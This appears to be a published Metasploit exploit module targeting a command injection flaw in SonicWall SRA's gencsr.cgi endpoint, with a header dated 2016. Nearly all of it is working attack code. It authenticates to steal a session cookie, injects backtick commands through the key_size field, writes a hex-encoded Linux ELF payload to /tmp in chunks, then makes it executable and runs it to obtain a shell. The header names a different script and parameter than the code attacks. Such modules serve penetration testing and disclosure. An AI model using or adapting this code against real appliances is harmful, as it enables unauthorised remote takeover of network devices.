# Exploit Title: Sonicwall gencsr CGI Remote Command Injection Vulnerablity
# Date: 12/24/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sonicwall.com
# Software Link: sonicwall.com/products/sra-virtual-appliance
# Version: 8.1.0.6-21sv
# Tested on: 8.1.0.2-14sv
#
# CVE : (awaiting cve)
# vuln: viewcert.cgi / CERT parameter
# Description PostAuth Sonicwall SRA <= v8.1.0.2-14sv. This exploit leverages a command injection bug.
#
# xort @ Critical Start
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sonicwall SRA <= v8.1.0.2-14sv gencsr.cgi remote exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Sonicwall SRA Appliance Version <= v8.1.0.2-14sv. The vulnerability exist in
a section of the machine's adminstrative infertface for performing configurations
related to on-connect scripts to be launched for users's connecting.
},
'Author' =>
[
'xort@Critical Start', # vuln + metasploit module
],
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(443),
], self.class)
end
def do_login(username, password_clear)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-bin/userLogin",
'headers' => {
'Connection' => 'close',
'Content-Type' => 'application/x-www-form-urlencoded',
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0',
},
'vars_post' => {
'username' => username,
'password' => password_clear,
'domain' => 'LocalDomain',
'loginButton' => 'Login',
'state' => 'login',
'login' => 'true',
'VerifyCert' => '0',
'portalname' => 'VirtualOffice',
'ajax' => 'true'
},
}, timeout)
swap = res.headers['Set-Cookie'].split('\n').grep(/(.*)swap=([^;]+);/){$2}[0]
return swap
end
def run_command(swap_cookie, cmd)
# vars
timeout = 1550;
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/gencsr",
'data' => "country=USA&san=ASDF&fqdn=www.google.com&county=dallas&applyButt=applyButt%3d&password=xxx&fullsan=xxx&organization=xxx&name=xxx&state=xxx&department=xxx&email=x@x.com&key_size=`#{cmd}`",
'headers' =>
{
'Cookie' => "swap=#{swap_cookie}",
},
}, timeout)
end
def run_command_spliced(swap_cookie, cmd)
write_mode = ">"
dump_file = "/tmp/qq"
reqs = 0
cmd_encoded = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
for cmd_chunk in cmd_encoded.split(/(..................................................)/)
cmd_new = "printf \"#{cmd_chunk}\"#{write_mode}#{dump_file}"
reqs += 1
vprint_status("Running Command (#{reqs})\n")
# set to normal append for loops after the first round
if write_mode == ">"
write_mode = ">>"
end
# add cmd to array to be exected later
run_command(swap_cookie, cmd_new)
end
# execute payload stored at dump_file
run_command(swap_cookie, "chmod +x /tmp/qq; sh /tmp/qq")
end
def exploit
# timeout
timeout = 1550;
# params
password_clear = datastore['PASSWORD']
user = datastore['USERNAME']
# do authentication
swap_cookie = do_login(user, password_clear)
vprint_status("authenticated 'swap' cookie: #{swap_cookie}\n")
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(swap_cookie, ("sudo /bin/rm -f /tmp/n; printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
run_command_spliced(swap_cookie, "printf \"#{encoded_elf}\">/tmp/m;chmod +rx /tmp/m;/tmp/m")
# wait for magic
handler
end
end
end
